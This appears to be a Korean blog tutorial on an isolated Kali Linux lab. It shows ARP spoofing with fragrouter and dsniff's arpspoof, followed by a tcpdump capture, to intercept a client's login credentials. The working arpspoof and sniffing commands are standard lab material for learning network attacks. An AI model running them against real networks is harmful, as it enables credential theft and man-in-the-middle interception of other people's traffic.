# 경고
나열된 해킹 기법들은 학습의 목적으로만 사용해야하며,
악의적인 목적으로 사용 시 발생하는 모든 법적 책임은 악용한 본인에게 있습니다.
해당 글을 열람한다는 것은 위 내용에 동의함을 의미합니다.
실습 환경: Kali Linux 2023.2 (Attacker/Client)
Kali Attacker 11.11.11.14
Kali Client 11.11.11.15
Sniffing 이란?
네트워크 상에서 다른 PC들의 트래픽을 도청하는 행위이다.
ARP 란?
Address Resolution Protocol로 IP 주소를 MAC 주소로 변환해주는 프로토콜이다.
ARP Spoofing 이란?
스푸핑은 '속이다' 라는 의미로 같은 네트워크 상에서 ARP 를 이용해 공격 대상자의 패킷을 중간에서 가로챈다. 도청을 하거나, 패킷을 원하는 대로 변조하여 목적지에 다시 보낼 수도 있는 공격 기법이다.
이 외에도 DoS/DDoS나, MITM(Man in the Middle), 세션 하이재킹(Session Hijacking) 공격을 시도할 수 있다.
시나리오: ARP Spoofing을 이용하여 공격 대상의 Gateway를 공격자의 MAC 주소로 바꿔 속이고, 로그인 정보를 알아낸다.
실습에 필요한 공격자와 클라이언트는 칼리 리눅스를 VitualBox 가상머신에서 이용한다.
로그인에 필요한 웹 페이지는 미리 만들어둔 로그인 페이지를 이용하며, URL 주소는 11.11.11.12/login.html 이다.
1.
공격자는 스니핑에 필요한 프로그램들을 설치한다.
apt-get update
apt-get install fragrouter
apt-get install dsniff
fragrouter: 스니핑을 했을 때 공격자에게 온 패킷을 전부 넘겨주기 위해서는 패킷 릴레이가 필요하다.
dsniff: arp spoofing을 실행할 수 있는 도구이다.
2.
네트워크 상의 모든 패킷을 수신하기 위해 인터페이스를 프러미스큐어스(Promiscuous) 모드로 변환한다.
ifconfig
ifconfig eth0 promisc
클라이언트에게 게이트웨이의 MAC 주소라고 속일 공격자의 MAC 주소는 08:00:27:53:0c:ba 이다.
3.
실습을 위해 클라이언트는 arp spoofing 공격을 당하기 전, 게이트웨이의 MAC 주소를 확인해본다.
만약 게이트웨이가 arp 테이블에 나타나지 않는다면 ping 명령어를 사용한 후 다시 확인해보면 생성되는 것을 볼 수 있다.
arp -an
4.
공격자는 공격을 위해 fragrouter와 dsniff를 실행한다.
fragrouter -B1
-B1 옵션은 기본적인 IP 포워딩을 의미한다.
arpspoof -i eth0 -t 11.11.11.15 11.11.11.1
-i 옵션은 인터페이스
-t 옵션은 타켓 지정으로, 공격 대상 IP와 게이트웨이 IP를 이어서 입력한다.
5.
다시 클라이언트에서 arp 테이블을 확인하고, 게이트웨이의 주소가 공격자의 MAC 주소로 바뀌었는지 확인한다.
arp -an
6.
이제 공격자는 클라이언트의 패킷 정보를 얻을 수 있다.
tcpdump를 이용하여 클라이언트의 패킷을 캡쳐하여 분석할 수 있고, Wireshark GUI를 직접 실행할 수도 있다.
tcpdump -i eth0 port 80 -s 1500 -w ./arp_spoof.pcap
클라이언트는 로그인 페이지로 접속하여 로그인을 시도한다.
공격자는 클라이언트의 로그인 정보를 스니핑하게 된다.
'Security > Web' 카테고리의 다른 글
MSF(Metasploit-Framework) brute force attack (0) | 2023.06.18 |
---|---|
DVWA 설치 및 설정하기 (0) | 2023.06.13 |
HTTrack 사이트 복제 (웹 크롤러) (0) | 2023.06.13 |
John the Ripper를 이용한 패스워드 크래킹(Password Cracking) (1) | 2023.06.11 |
3 Tier Architecture(3 계층 구조) 구성 (0) | 2023.06.09 |